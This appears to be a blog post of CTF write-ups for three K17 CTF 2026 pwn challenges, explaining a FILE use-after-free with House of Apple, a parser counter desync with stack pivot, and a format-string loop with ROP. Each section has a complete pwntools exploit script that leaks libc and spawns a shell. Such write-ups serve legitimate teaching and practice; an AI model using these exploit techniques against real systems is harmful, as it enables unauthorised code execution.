K17 CTF 2026 Writeups: ihyh, not json, and huge binary 2

3503 words
18 minutes
K17 CTF 2026 Writeups: ihyh, not json, and huge binary 2

1. ihyh#

1. Challenge description#

Description: “encouraging hatred, because love hurt me”
Service: nc chal.secso.cc 4007

The program manages hate notes and keeps a history file. The history feature also keeps a global FILE *, and that pointer is where the bug lives.

2. TL;DR#

view_history() closes the global history stream but never sets the pointer to NULL. A note allocation can therefore reclaim the freed FILE object. The reclaimed object first leaks _IO_wfile_jumps, which gives the libc base. A second controlled FILE reclaim exposes the safe-linked heap value. A final House of Apple fake stream makes rewind(fp) dispatch to system, with the fake stream beginning with a shell command.

3. Files and initial observations#

Provided files:

ihyh/Dockerfile
ihyh/chal

Initial binary observations:

  • 64-bit x86-64 PIE executable, dynamically linked.
  • NX and stack canaries enabled in the ordinary note-management functions.
  • hate is a ten-entry global table at PIE offset 0x4040; each entry holds a note pointer and a length.
  • fp is a global FILE * at PIE offset 0x40e0.
  • Main operations are create, edit, delete, view, and view_history.
  • create accepts note sizes from 1 through 512.
  • The Dockerfile uses Ubuntu 22.04, so the relevant target libc family is glibc 2.35.

4. Detailed problem analysis#

The history function behaves conceptually like this:

if (fp == NULL)
fp = fopen("/tmp/log.txt", "a+");
rewind(fp);
while ((c = fgetc(fp)) != EOF)
putchar(c);
clearerr(fp);
fclose(fp);
/* fp is incorrectly left non-NULL here. */

After the first history request, fp is dangling. The allocator can return the same chunk to create:

  1. A 464-byte note is normalized by glibc into the same 0x1e0 chunk class as the approximately 472-byte internal FILE allocation.
  2. Supplying 464 A bytes leaves the final eight bytes of the reclaimed chunk untouched.
  3. view(0) prints the note with %s, so those untouched bytes disclose the low six bytes of the embedded _IO_wfile_jumps pointer. This is a %s C-string over-read, not format-string exploitation.
  4. Subtracting the supplied libc symbol offset identifies libc.

The freed note is then reclaimed with a minimally valid fake FILE so that a second view_history can safely run through rewind, fgetc, and fclose. When that fake stream is closed, the note table still contains its pointer. Viewing the dangling note discloses tcache’s safe-linked encoding of a NULL next pointer. For a chunk address heap_chunk, that value is:

encoded_null = heap_chunk >> 12

The observed layout places the fake stream at heap_page + 0x2a0, so the heap address is reconstructed as:

heap_chunk = (encoded_null << 12) + 0x2a0

The request calculation is 464 + 8 bytes for the allocator header, rounded to the 0x1e0 size class. A FILE allocation of about 472 user bytes lands in that same class. On x86-64, a canonical user-space pointer has two zero high bytes, so the over-read exposes the lower six bytes that are enough to rebuild the page-aligned libc base.

The first reclaimed FILE consistently appeared at heap_page + 0x2a0 under the tested container. That is the source of the final +0x2a0, rather than a generic safe-linking constant.

The final fake FILE uses a glibc 2.35 House of Apple layout. The adjusted main vtable sends rewind through the wide-file path, where the fake wide-data object supplies system as the call target. The first bytes of the fake stream are " sh", so the call receives a shell command.

The fields are arranged like this:

fake FILE +0x88 -> _lock
+0xa0 -> _wide_data = chunk + 0xe0
+0xd8 -> _IO_wfile_jumps - 0x30
wide_data +0xe0 -> fake wide vtable = chunk + 0x160
wide vtable+0x68 -> system
rewind(fp)
-> _IO_wfile_seekoff
-> wide-file overflow / allocation path
-> fake wide-vtable entry
-> system(fp)

The -0x30 adjustment is what places the wide-file function in the slot used by rewind; the two final writes at 0x1c0 and 0x1c8 provide the fake wide vtable and its system entry.

5. Exploit path#

ihyh exploit path: controlled note to libc leak, fake stream, House of Apple, and flag read

6. Exploitation walkthrough / flag recovery#

Stage 1: libc leak#

  1. Select history once to create and close the real /tmp/log.txt stream.

  2. Create note 0 with requested size 464 and payload b"A" * 464.

  3. View note 0. The first 464 bytes are controlled; bytes 464-469 are the leaked low six bytes of _IO_wfile_jumps.

  4. With the supplied glibc, compute:

    libc_base = leaked_wfile_jumps - libc.sym["_IO_wfile_jumps"]
    stdout = libc_base + libc.sym["_IO_2_1_stdout_"]
    lock = stdout + 0x12f0
    wide = stdout - 0xde0

Stage 2: controlled fake stream and heap leak#

Delete note 0, then reclaim the chunk with a 464-byte fake stream:

fake = flat({
0x00: 0xfbad0000,
0x70: 0xffffffff,
0x88: lock,
0xa0: wide,
0xc0: 0,
0xd8: libc_base + libc.sym["_IO_file_jumps"],
}, length=464, filler=b"\0")

Select history again. The fake stream is closed and placed in tcache while the note table retains its stale pointer. view(0) now exposes the encoded NULL tcache pointer. Reconstruct the heap address with the safe-link formula above.

Stage 3: House of Apple and shell#

Reclaim the chunk one final time with a 472-byte payload:

apple = flat({
0x00: b" sh\0",
0x20: 0,
0x28: 1,
0x38: 0,
0x88: lock,
0xa0: heap_chunk + 0xe0,
0xc0: 1,
0xd8: libc_base + libc.sym["_IO_wfile_jumps"] - 0x30,
0x1c0: heap_chunk + 0x160,
0x1c8: libc_base + libc.sym["system"],
}, length=472, filler=b"\0")

Selecting history triggers the fake wide-file path. After the shell starts, send:

cat /flag; exit

then u will get the flag:

K17{50pp1n355_0f_l0v3_f1nd1ng_1t5_way_1n_f1l35!}

7. solve.py#

Save this code as solve.py. It needs pwntools and the matching glibc as ./libc.so.6.

#!/usr/bin/env python3
from pwn import *
context.arch = "amd64"
context.log_level = "info"
HOST, PORT = args.HOST or "chal.secso.cc", int(args.PORT or 4007)
LIBC = args.LIBC or "./libc.so.6"
def start():
return process(args.BIN or "./chal") if args.LOCAL else remote(HOST, PORT)
def menu(io, choice):
io.sendlineafter(b">> ", str(choice).encode())
def create(io, size, data):
menu(io, 1)
io.sendlineafter(b"person?\n", str(size).encode())
io.sendafter(b"them\n", data)
def view(io, index=0):
menu(io, 4)
io.sendlineafter(b"view?\n", str(index).encode())
io.recvuntil(b"Here is your hate note: ")
return io.recvuntil(b"\n1. New", drop=True)
libc = ELF(LIBC, checksec=False)
io = start()
try:
menu(io, 5)
create(io, 464, b"A" * 464)
wfile = u64(view(io)[464:470] + b"\0\0")
libc.address = wfile - libc.sym["_IO_wfile_jumps"]
lock = libc.sym["_IO_2_1_stdout_"] + 0x12f0
wide = libc.sym["_IO_2_1_stdout_"] - 0xde0
menu(io, 3)
io.sendlineafter(b"history)\n", b"0")
fake = flat({
0x00: 0xfbad0000,
0x70: 0xffffffff,
0x88: lock,
0xa0: wide,
0xc0: 0,
0xd8: libc.sym["_IO_file_jumps"],
}, length=464, filler=b"\0")
create(io, 464, fake)
menu(io, 5)
chunk = (u64(view(io)[:5].ljust(8, b"\0")) << 12) + 0x2a0
apple = flat({
0x00: b" sh\0",
0x20: 0,
0x28: 1,
0x38: 0,
0x88: lock,
0xa0: chunk + 0xe0,
0xc0: 1,
0xd8: libc.sym["_IO_wfile_jumps"] - 0x30,
0x1c0: chunk + 0x160,
0x1c8: libc.sym["system"],
}, length=472, filler=b"\0")
create(io, 472, apple)
menu(io, 5)
io.sendline(b"cat /flag; exit")
print(io.recvrepeat(3).decode(errors="replace"), end="")
finally:
io.close()

Run it from the directory containing the matching libc then u will get the flag:

The fragile invariants are the 0x1e0 allocator class, the fake stream’s valid lock/wide-data pointers, and the safe-link heap offset. Each was checked against the supplied binary/libc pair and then verified remotely.

8. What we learned#

  • The short-size memset stays inside glibc’s minimum chunk area.
  • fclose leaves a dangling global pointer, but the replacement stream still needs valid libc fields and the right vtable.
  • A %s C-string over-read discloses allocator residue when the reclaimed object has no NUL at the requested boundary.
  • The working sequence is libc leak, fake-stream validation, heap leak, then the final FSOP payload.

9. References and further reading#


2. not json#

1. Challenge description#

Description: “JSON is way too complex, so I made my own subset of it.”
Service: nc chal.secso.cc 4003

The challenge presents a recursive custom JSON-like parser. As it parses each entry, the program prints the key and description. The key sanitizer appears to enforce a length limit, but its counter and string length diverge.

2. TL;DR#

The sanitizer appends non-alphanumeric characters but decrements its length counter afterward. Thirty-nine ! characters plus four A bytes reach the saved frame without advancing the checked counter enough. The resulting %s print leaks the canary, stack, and PIE.

Recursive frames are 0x70 bytes apart. A fixed 13-frame payload lets H change the low byte of a parent saved RBP and pivot through leave; ret. One puts@GOT leak gives libc; the second round calls system("/bin/sh").

3. Files and initial observations#

Provided files:

notjson/Dockerfile
notjson/chal

The file is an x86-64 PIE ELF with stack canaries and NX. Although the prompt uses JSON language, the target is a native parser reached over netcat.

The parser’s frame allocates a 40-byte key/description buffer at rbp-0x30. The short ROP chain uses pie+0x11e8 for pop rdi ; ret, pie+0x11fc for leave ; ret, pie+0x1030 for puts@PLT, and pie+0x3f88 for puts@GOT.

4. Detailed problem analysis#

The key loop effectively does the following:

while (count <= 0x26) {
c = getchar();
if (c == '|')
break;
key[strlen(key)] = c;
count++;
if (!isalnum(c) && c != '_') {
key[strlen(key) - 1] = '_';
count--;
}
}

For !, the string grows by one underscore but count returns to its old value. The compact leak uses 39 ! bytes followed by four A bytes. The first A fills the last key-buffer byte, the next overwrites the canary’s low byte, and the remaining bytes bridge the zero bytes in the saved frame. The | delimiter then ends key input, and the following %s print exposes the canary, saved RBP, and saved return address. After recvuntil(b"____A"), the fixed slices leak[1:8], leak[8:14], and leak[16:22] select those values.

The description parser allows 40 bytes and writes its terminator at offset 40. That terminator restores the canary’s low byte to zero before the parser frame returns. This is what makes the leak-and-pivot payload survive the stack check.

The leak is parsed as:

canary = u64(b"\0" + leak[1:8])
rbp = u64(leak[8:14] + b"\0\0")
pie = u64(leak[16:22] + b"\0\0") - 0x161a

Each recursive frame changes RBP by 0x70. The fixed payload uses 13 frames; in the tested binary, the deepest key’s H changes a zero low byte of the parent saved RBP to 0x48. The parent description then supplies the pivot:

parent saved RBP: ...00 --H--> ...48
|
+-> controlled description buffer
leave: rsp = rbp, rbp = [rsp]
ret: rip = [rsp + 8]

The ROP description is placed at rbp - 0x430, and the pivot description is canary || (rbp - 0x430) || leave; ret. The 40-byte description in the deepest frame writes its terminator over the canary’s low byte before the stack check.

5. Exploit path#

not json exploit path: sanitizer counter desync to stack leak, pivot, libc leak, and shell

6. Exploitation walkthrough / flag recovery#

Stage 1: Stack and PIE leak#

Send the prefix below at the JSON prompt:

leak_prefix = b'{ "' + b'!' * 39 + b'AAAA|' + b'A' * 40 + b'": {}, '

The parser prints the overflowing key. The leaked bytes are decoded using the offsets above. The solver then builds 13 nested objects. The deepest key ends with AAH|; its description is 40 A bytes, which restores the canary’s low byte through the terminator.

pivot = flat(canary, rbp - 0x430, pie + 0x11fc)

Stage 2: libc leak and re-entry#

The first pivoted chain is:

pop rdi ; ret
puts@GOT
puts@PLT
main

The puts leak gives the remote libc base:

libc_base = leaked_puts - 0x805a0

Returning to main lets the same short payload run again.

Stage 3: final shell#

The final chain is the standard three-entry ret2libc sequence:

pop rdi ; ret
libc + 0x1a6ea4 # /bin/sh
libc + 0x53110 # system

The second chain adds one ret for stack alignment, then calls system(libc + 0x1a6ea4). After the final input is parsed, send cat /flag.

and then u will get the flag :

K17{b3cau$e_rbp_taste$_bett3r_th@n_key}

7. solve.py#

Save this code as solve.py; it needs pwntools and the supplied chal.

#!/usr/bin/env python3
from pwn import *
import re
HOST, PORT = "chal.secso.cc", 4003
PUTS_OFF, BINSH_OFF, SYSTEM_OFF = 0x805a0, 0x1a6ea4, 0x53110
context.log_level = "info"
exe = context.binary = ELF(args.EXE or "./chal", checksec=False)
DESCRIPTION = b"Description: " + b"A" * 40 + b"\n"
def start():
return process(exe.path) if args.LOCAL else remote(HOST, PORT)
def exploit(io, chain_fn):
io.recvuntil(b"Enter your JSON:\n")
io.send(b'{ "' + b"!" * 39 + b"AAAA|" + b"A" * 40 + b'": {}, ')
io.recvuntil(b"____A")
leak = io.recvn(32)
canary = u64(b"\0" + leak[1:8])
rbp = u64(leak[8:14] + b"\0\0")
exe.address = u64(leak[16:22] + b"\0\0") - 0x161a
rop = ROP(exe)
chain_addr = rbp - 0x430
pivot = flat(canary, chain_addr, rop.find_gadget(["leave", "ret"])[0])
chain = flat(0x6767, chain_fn(rop))
assert b'"' not in pivot + chain
payload = b'"a|b": { ' * 9
payload += b'"r|' + chain + b'": { '
payload += b'"p|' + pivot + b'": { '
payload += b'"a|b": { '
payload += b'"' + b"!" * 39 + b"AA\x48|" + b"A" * 40
payload += b'": { ' + b" }" * 3
io.send(payload)
io.recvuntil(DESCRIPTION)
def solve():
io = start()
try:
chain = lambda r: flat(r.find_gadget(["pop rdi", "ret"])[0],
exe.got["puts"], exe.plt["puts"], exe.symbols["main"])
exploit(io, chain)
puts = u64(io.recvn(6) + b"\0\0")
libc = puts - PUTS_OFF
chain = lambda r: flat(r.find_gadget(["ret"])[0],
r.find_gadget(["pop rdi", "ret"])[0],
libc + BINSH_OFF, libc + SYSTEM_OFF)
exploit(io, chain)
io.sendline(b"cat /flag; exit")
return io.recvall(timeout=5)
finally:
io.close()
for attempt in range(16):
try:
output = solve()
match = re.search(rb"K17\{[^\r\n}]*\}", output)
if match:
print(match.group().decode())
break
except (EOFError, PwnlibException, AssertionError) as exc:
log.warning("attempt %d failed: %s", attempt + 1, exc)

8. What we learned#

  • Check the binary before trusting the JSON-themed name; the target is an ELF parser.
  • Thirty-nine punctuation bytes plus the extra A bytes expose the canary, saved RBP, and return address in one %s output.
  • A fixed 13-frame layout is enough; the H byte changes one saved-RBP byte, and the description terminator restores the canary.
  • One puts leak supplies the libc base. The second round only needs the aligned pop rdi ; ret / system chain.

9. References and further reading#


3. huge binary 2#

1. Challenge description#

Description: “I AM PLEASE TO REPORT THAT THE UNITED STATES OF CTF HAS BUILT AN EVEN HUGER BINARY. THANK YOU FOR YOUR ATTENTION TO THIS MATTER”
Service: nc chal.secso.cc 4005

The program asks for an index and two short strings, then echoes both strings. The strings are passed directly to printf, making the “huge” binary a very small but unusually constrained format-string challenge.

2. TL;DR#

The index is an unchecked stack-byte read. The first and second 31-byte inputs are both format strings. Positional arguments expose a stack-pointer graph, libc’s return address, and PIE’s main address. A halfword write changes the return low byte so execution re-enters main, giving repeated format-string rounds.

Those rounds write a three-entry ret2libc chain into an unused area of the initial stack. A final halfword write changes the saved return to libc’s pop rsp ; ret, pivots into the chain, and calls system("/bin/sh").

3. Files and initial observations#

Provided files:

huge-binary-2/Dockerfile
huge-binary-2/chal
huge-binary-2/libc.so.6

The supplied libc identifies itself as:

GNU C Library (Debian GLIBC 2.41-12+deb13u2)

The executable is x86-64 PIE with NX, partial RELRO, and no stack canary. The index read is in main+0x7f, and main begins at PIE offset 0x1169. The two inputs use %31s, so each format string must remain at most 31 bytes. That constraint is why the exploit writes halfwords and reuses the main loop. The bundled libc supplies system at 0x53110, pop rsp ; ret at 0x285d8, pop rdi ; ret at 0x2a145, and /bin/sh at 0x1a5ea4.

4. Detailed problem analysis#

The index path executes the equivalent of:

scanf("%d", &index);
printf("Your lucky number is 0x%x", (unsigned char)rbp[index - 1]);

There is no bounds check. The expression is rbp[index - 1], so index 258 reads rbp + 257. In the observed frame this byte is the low byte needed to retarget the stack pointer used by positional slot 53. The two later calls are equivalent to:

printf(first_input);
printf(second_input);

The first format string uses positional arguments to:

  • write a low halfword through slot 23;
  • leak the libc return through slot 19 (%19$p);
  • leak PIE main through slot 21 (%21$p).

The slot roles came from dumping positional arguments with %1$p through %60$p, then checking each candidate against the stack and libc mappings:

SlotObserved valueUse
19libc returnlibc leak
20stack pointerretarget %hn
21main returnPIE leak
23indirect stack pointerfirst write target
50dereferenced retargeted pointerarbitrary halfword write
53saved-return pointerloop and final pivot

A short discovery probe such as %19$p|%20$p|%21$p reveals the first three roles. Repeating it in short batches covers the remaining positional slots without exceeding the 31-byte input limit.

The write path is indirect:

slot 20 -> stack cell holding a pointer -> slot 50 -> chosen target
slot 53 -> saved return byte, restored to 0x8e after each round

The second format string writes 0x8e through slot 53. The ordinary return from the libc startup wrapper is at libc offset 0x29ca8; changing its low byte from 0xa8 to 0x8e re-enters the code that calls main. Each successful round therefore creates another pair of format-string calls.

The re-entry write is one byte:

saved return: ...a8 --%53$hhn--> ...8e
|
+--> code path that calls main again

Slot 20 can be redirected to an arbitrary stack location with %20$hn, and slot 50 can then write a 16-bit value to that location. Slot 53 remains the permanent pointer used to restore the main-loop return byte after each write. Three low halfwords are enough for each canonical libc pointer because the upper halfwords already contain the matching canonical zero/high address bytes.

The final chain is stored at a safe stack offset:

libc + 0x2a145 pop rdi ; ret
libc + 0x1a5ea4 /bin/sh
libc + 0x53110 system

The saved return is finally changed to libc + 0x285d8, which pops the chain address into RSP and begins the prepared ROP sequence.

5. Exploit path#

huge binary 2 exploit path: index byte leak to format writes, re-entry, ROP pointers, and flag read

6. Exploitation walkthrough / flag recovery#

Stage 1: obtain the stack byte and initial leaks#

Send index 258. Let lucky be the printed byte. The solver forms the low address used to retarget slot 53:

byte1 = (lucky - 1) & 0xff
return_pointer = (byte1 << 8) | ((attempt_low_nibble << 4) | 8)

The saved RSP is 16-byte aligned, but one low nibble is unknown. Try the 16 possible nibbles across separate connections; the solver allows up to 32 attempts because each connection gets a fresh ASLR layout.

The first format string is:

%<return_pointer>c%23$hnL%19$pP%21$p

The second is:

%142c%53$hhn

The markers L and P make the libc and PIE leaks easy to parse. Compute:

libc_base = leaked_libc_return - 0x29ca8
pie_base = leaked_main - 0x1169

Stage 2: build the stack ROP chain#

Each halfword write is performed in a fresh repeated-main round:

first input: %<address_low16>c%20$hn
second input: %<value_low16>c%50$hn[%delta%c]%53$hhn

%53$hhn restores the low return byte to 0x8e, so the next round starts. If a halfword is zero, print 65536 characters because %0c does not advance the format-string output count.

For the logged run, the first chain word used target 0x3510 and desired value libc + 0x2a145, whose low halfword was 0xa145. The first format prints 0xa145 characters for %50$hn; the following 0x49 characters bring the count to 0x8e modulo 256, so %53$hhn restores the loop byte.

Write the low three halfwords of each of:

libc_base + 0x2a145 # pop rdi ; ret
libc_base + 0x1a5ea4 # /bin/sh
libc_base + 0x53110 # system

The chain is placed at (saved_rbp_low16 + 0x180) & 0xffff in the safe part of the original stack frame.

Stage 3: pivot and recover the flag#

Retarget slot 20 once more so that slot 50 writes the chain address. Then change the saved return through slot 53 to libc + 0x285d8 (pop rsp ; ret). The pivot enters pop rdi ; ret, loads /bin/sh, and calls system.

Send:

cat /flag*; exit

then u will get teh flag:

K17{turn$_0ut_siz3_do3s_m@tter}

7. solve.py#

Save this code as solve.py. It needs pwntools and tries the 16 aligned low-nibble possibilities across at most 32 connections.

#!/usr/bin/env python3
from pwn import *
import re
import os
HOST, PORT = "chal.secso.cc", 4005
LIBC_RETURN, MAIN = 0x29ca8, 0x1169
POP_RSP, POP_RDI, BIN_SH = 0x285d8, 0x2a145, 0x1a5ea4
SYSTEM = 0x53110
DEBUG = bool(os.getenv("DEBUG"))
INDEX = b"Enter an index: "
FIRST = b"first input to be echoed: "
SECOND = b"second input to be echoed: "
context.log_level = "info"
def width(value):
return value or 0x10000
def write_half(io, target, value):
io.sendline(b"0")
io.recvuntil(FIRST)
io.sendline(f"%{width(target)}c%20$hn".encode())
io.recvuntil(SECOND)
payload = f"%{width(value)}c%50$hn".encode()
delta = (0x8e - value) & 0xff
if delta:
payload += f"%{delta}c".encode()
io.sendline(payload + b"%53$hhn")
io.recvuntil(INDEX)
def solve(attempt):
io = remote(HOST, PORT)
try:
io.sendlineafter(INDEX, b"258")
banner = io.recvuntil(FIRST)
lucky = int(re.search(rb"lucky number is 0x([0-9a-f]+)", banner).group(1), 16)
return_pointer = (((lucky - 1) & 0xff) << 8) | ((attempt << 4) | 8)
first = f"%{width(return_pointer)}c%23$hnL%19$pP%21$p".encode()
assert len(first) <= 31
io.sendline(first)
io.recvuntil(SECOND)
io.sendline(b"%142c%53$hhn")
output = io.recvuntil(INDEX)
libc_return, main = (int(x, 16) for x in
re.search(rb"L(0x[0-9a-f]+)P(0x[0-9a-f]+)", output).groups())
libc, pie = libc_return - LIBC_RETURN, main - MAIN
rbp = (return_pointer - 8) & 0xffff
chain = (rbp + 0x180) & 0xffff
for offset, pointer in ((0, libc + POP_RDI),
(8, libc + BIN_SH),
(16, libc + SYSTEM)):
for part in range(3):
value = (pointer >> (16 * part)) & 0xffff
write_half(io, chain + offset + 2 * part, value)
write_half(io, (rbp + 16) & 0xffff, chain)
io.sendline(b"0")
io.recvuntil(FIRST)
io.sendline(b"A")
io.recvuntil(SECOND)
io.sendline(f"%{width((libc + POP_RSP) & 0xffff)}c%53$hn".encode())
io.sendline(b"cat /flag*; exit")
output = io.recvall(timeout=10)
match = re.search(rb"K17\{[^\r\n}]*\}", output)
if match:
log.info("libc=%#x pie=%#x", libc, pie)
return match.group().decode()
finally:
io.close()
for attempt in range(32):
try:
flag = solve(attempt)
if flag:
print(flag)
break
except (EOFError, PwnlibException, AttributeError, AssertionError) as exc:
if DEBUG:
log.warning("attempt %d failed: %s", attempt + 1, exc)

8. What we learned#

  • The binary is small; the “huge” part is the input restriction and the need to reuse main.
  • The executable has no pop rdi ; ret, so the libc leak supplies both the gadget and the final pop rsp ; ret pivot.
  • The 31-byte limit makes the saved-return byte loop necessary for repeated halfword writes.
  • Wrong low-nibble candidates terminate a connection, so the 32 tries are a bounded alignment search with enough retries for ASLR variation.
  • A zero halfword needs a count of 65536 because %0c adds no output.

9. References and further reading#

Share Article

If this article helped you, please share it with others!

K17 CTF 2026 Writeups: ihyh, not json, and huge binary 2
https://www.multiflora-rose.xyz/posts/k17_ctf_2026_writeup/
Author
Multiflora_Rose
Published at
2026-09-13
Multiflora_Rose avatar
Multiflora_Rose
Cybersecurity / CTF / Research
Categories
Tags
Latest Moments
Site Statistics
Posts
4
Categories
2
Tags
8
Total Words
30,345
Running Days
80 days
Last Activity
0 days ago